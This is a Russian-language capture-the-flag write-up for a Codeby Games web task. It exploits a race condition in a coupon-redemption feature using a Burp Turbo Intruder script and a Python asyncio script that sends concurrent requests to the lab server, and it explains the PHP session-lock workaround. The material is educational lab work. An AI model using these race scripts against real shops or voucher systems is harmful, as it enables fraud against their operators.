Автор: @cherepawwka
Источник: Codeby Games “Point of no return” writeup
Ссылка на таск Codeby
https://codeby.games/categories/web/8c9c7a53-77d4-4af7-8666-6700f989d621
Описание задания
Ожидание новых результатов от повторения одних и тех же действий - признак безумия
IP: 62.173.140.174:16023
Решение
Всем привет!
Сегодня мы, подобно Льюису Хэмильтону, станем профессиональными гонщиками, найдём и проэксплуатируем race condition двумя разными способами (Python и Turbo Intruder), решив задание средней сложности ”Точка невозврата” с платформы Codeby Games.
Приступим!
Изучение приложения
Перейдем по ссылке, и здесь нас встречает приложение, предлагающее форму авторизации. Суть лабораторной не в способах обхода авторизации, IDOR (а он тут есть) и т.п., поэтому на этом шаге зацикливаться не будем.
Наша задача — зарегистрировать нового пользователя, причем логин и пароль не играют какой-либо роли. Я для примера сделал пользователя с кредами 1:1
.
После регистрации мы можем успешно авторизоваться и увидеть аналог личного кабинета, содержащего следующий функционал:
- Отображение текущего баланса;
- Функцию покупки флага (его стоимость равна 1337$);
- Окно ввода промокодов.
Если мы заглянем в код страницы, то увидим в HTML-комментарии массив (список), состоящий из трёх значений: ['PAePaMt','5mbhxgw','dRRYa6Y']
За каждый из промокодов, введенных на странице, нам начисляется по 100 дополнительных долларов, которые плюсуются с суммой нашего баланса.
Если мы захотим попытаться побрутить промокоды, то ничего не выйдет: ранее в задании присутствовал баг, который немного раскрыл его внутренности. Так, в массиве с прoмокодами всего три элемента, и когда пользователь вводил 3 промокода, а при вводе четвертого оставлял поле пустым, к балансу прибавлялось 100 долларов, так как NULL == NULL
. После этот баг пофиксили, и, следовательно, добыть четвертый промокод нам не удастся. На этом этапе могу возникнуть мысли по поводу SQLI и попытке изменить баланс через форму авторизации (так как там, вероятно, исполняется операция INSERT). Но форма неуязвима к SQLI, и этот вектор не подойдёт.
Повторный ввод одного и того же промокода результата не даёт:
Здесь мы вспоминаем о такой замечательной уязвимости, как race condition. Перед нами, наверное, самый классический вариант реализации лаборатории для ее эксплуатации. Давайте представим, как в теории может выглядеть код нашего приложения:
<?php
$coupons = ['PAePaMt','5mbhxgw','dRRYa6Y'];
$balance = 1000;
function applyCoupon($couponCode) {
global $coupons, $balance;
if (in_array($couponCode, $coupons)) {
$balance += 100; // увеличиваем баланс на 100
// Удаляем использованный купон из массива
$index = array_search($couponCode, $coupons);
array_splice($coupons, $index, 1);
echo "Купон успешно применен. Баланс: " . $balance;
} else {
echo "Недействительный купон!";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// Получение введенного купона из параметра GET-запроса
$coupon = $_GET['coupon'];
// Вводим введенный купон
applyCoupon($coupon);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Проверяем наличие параметра buyFlag
if (isset($_POST['buyFlag'])) {
$flagPrice = 1337;
// Проверяем достаточность средств для покупки флага
if ($balance >= $flagPrice) {
// Покупаем флаг
$balance -= $flagPrice;
echo "Флаг успешно приобретен. Баланс: " . $balance;
} else {
echo "Недостаточно средств для покупки флага!";
}
}
}
?>
Массив $coupons
хранит 3 известных купона. При вводе купона пользователем через GET-запрос с параметром coupon
функция applyCoupon()
проверяет наличие купона в массиве. Если купон найден, то баланс увеличивается на 100, а использованный купон удаляется из массива.
Если пользователь отправляет POST-запрос с параметром buyFlag
, то проверяется достаточность средств на балансе для покупки флага. Если баланс достаточный, то флаг приобретается за 1337, и баланс уменьшается. Если баланс недостаточный, выводится сообщение об ошибке.
Данный код уязвим к race condition. Если два или более параллельных запроса одновременно попытаются использовать один и тот же купон, возникнет состояние гонки, что может позволить нам накрутить баланс.
Эксплуатация
Рассмотрим 2 похожих способа эксплуатации уязвимости: один средствами Burp (расширение Turbo Intruder), второй при помощи скрипта на Python.
Для первого способа нам необходимо перехватить запрос применения купона, а затем отправить его в Turbo Intruder (ПКМ -> Extensions -> ЕгSend to Turbo Intruder).
Примечание: перед этим расширение необходимо установить, сделать это можно через BApp Store.
Переходим в открывшееся окно, и в поле нижней части окна пишем следующий скрипт (ну либо выбираем скрипт race-single-packet-attack.py, то есть его же, из списка готовых скриптов):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP
)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
После проведенных действий мы можем смело запускать расширение и “любоваться” результатом.
Результат атаки
200 ответ
Тут нас ждёт небольшое разочарование, так как отработал только один купон (о чем свидетельствует один ответ 302 от приложения). Но почему так?
Всё дело в том, что PHP “из коробки” содержит Session-based locking mechanism (механизм блокировки, основанный на сессиях). Некоторые фрэймворки пытаются предотвратить случайное повреждение данных, используя ту или иную форму блокировки запросов. Так, собственный модуль обработчика сеансов в PHP обрабатывает только один запрос, относящийся к конкретному сеансу, за раз. Чрезвычайно важно обнаружить такое поведение, поскольку в противном случае оно может маскировать тривиальные уязвимости, которые можно эксплуатировать.
В этот раз удалим идентификатор сессии (cookie), заменим купон и повторим атаку:
Настройки Turbo Intruder
Результат атаки
Как мы видим, в этот раз атака успешно удалась, и мы получили ответ 302 на каждый наш запрос. Давайте проверим баланс:
Теперь нам хватает денег для покупки флага! Задача решена.
Python
Второй способ похож на первый, так как тоже будет использовать Python, только в этот раз мы используем библиотеку asyncio. Код самого скрипта можно найти на HackTricks, и выглядит он следующим образом:
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Этот код подходит нам, однако нужно изменить строку 6 на следующую:
resp = await client.get(f'http://62.173.140.174:16023/index.php?voucherCode=PAePaMt&uid=<ID>')
Здесь мы убираем Cookie, которая ломает синхронизацию запросов, меняем функцию на client.get()
и убираем содержимое POST Body, так как мы работает с GET запросом:
Для целей повторной эксплуатации я зарегистрировал другой аккаунт, это роли не играет. Единственное, что придётся поменять — это значение параметра UID, которое можно взять из кода страницы.
Запускаем выполнение скрипта:
Обновим баланс на странице нашего пользователя:
Примечание: с первого раза может не получиться накрутить себе нужную сумму, поэтому у нас в запасе имеется три купона, которые можно использовать последовательно, просто заменяя значение купона в строке 6.
Осталось купить флаг и успешно пройти задание!
На этом разбор задания подошёл к концу. Это не единственные варианты его прохождения, скрипт может выглядеть совсем иначе, но в любом случае мы работаем с одной уязвимостью.
До новых встреч!
До новых встреч!
Tags: